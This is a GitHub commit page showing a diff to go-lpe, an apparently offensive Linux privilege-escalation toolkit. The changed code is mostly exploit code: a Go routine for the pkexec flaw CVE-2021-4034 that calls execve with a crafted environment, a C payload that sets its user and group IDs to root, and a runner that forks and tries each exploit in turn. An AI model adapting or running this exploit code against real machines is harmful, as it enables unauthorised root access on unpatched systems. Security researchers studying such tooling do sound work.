Skip to content

Commit

Permalink
fix: #5
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Sep 7, 2023
1 parent 2d593ea commit 38cdb17
Show file tree
Hide file tree
Showing 4 changed files with 25 additions and 7 deletions.
5 changes: 4 additions & 1 deletion CVE-2021-4034.go
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
package golpe

import (
"errors"
"fmt"
"io/ioutil"
"os"
Expand Down Expand Up @@ -96,10 +97,12 @@ func CVE_2021_4034() (err error) {
"XAUTHORITY=../LOL",
"\x00",
}

// child
_, _, err = syscall.RawSyscall(syscall.SYS_EXECVE,
uintptr(unsafe.Pointer(argv0p)),
uintptr(unsafe.Pointer(&argv)),
uintptr(unsafe.Pointer(&envvp[0])))

return fmt.Errorf("execve: %v", err)
return errors.New("If you see this, CVE-2021-4034 exploit has failed")
}
7 changes: 7 additions & 0 deletions cmd/golpe/main.go
Original file line number Diff line number Diff line change
@@ -1,9 +1,16 @@
package main

import (
"log"
"time"

golpe "github.com/jm33-m0/go-lpe"
)

func main() {
golpe.RunAll()
for {
time.Sleep(1 * time.Second)
log.Println("sleeping...")
}
}
2 changes: 2 additions & 0 deletions demo.c
Original file line number Diff line number Diff line change
@@ -1,7 +1,9 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
puts("go-lpe has successfully got root!");
setuid(0);
seteuid(0);
setgid(0);
Expand Down
18 changes: 12 additions & 6 deletions run.go
Original file line number Diff line number Diff line change
@@ -1,6 +1,9 @@
package golpe

import "log"
import (
"log"
"syscall"
)

var All = map[string]func() error{
"CVE-2021-4034": CVE_2021_4034, // pkexec
Expand All @@ -10,12 +13,15 @@ var All = map[string]func() error{
func RunAll() (err error) {
for cve, exp := range All {
log.Printf("Trying %s...", cve)
err = exp()
if err == nil {
log.Printf("Successfully got root via %s", cve)
break
pid, _, _ := syscall.Syscall(syscall.SYS_FORK, 0, 0, 0)
if pid == 0 {
err = exp()
if err == nil {
log.Printf("Successfully got root via %s", cve)
break
}
log.Printf("%s: %v", cve, err)
}
log.Printf("%s: %v", cve, err)
}
return
}

0 comments on commit 38cdb17

Please sign in to comment.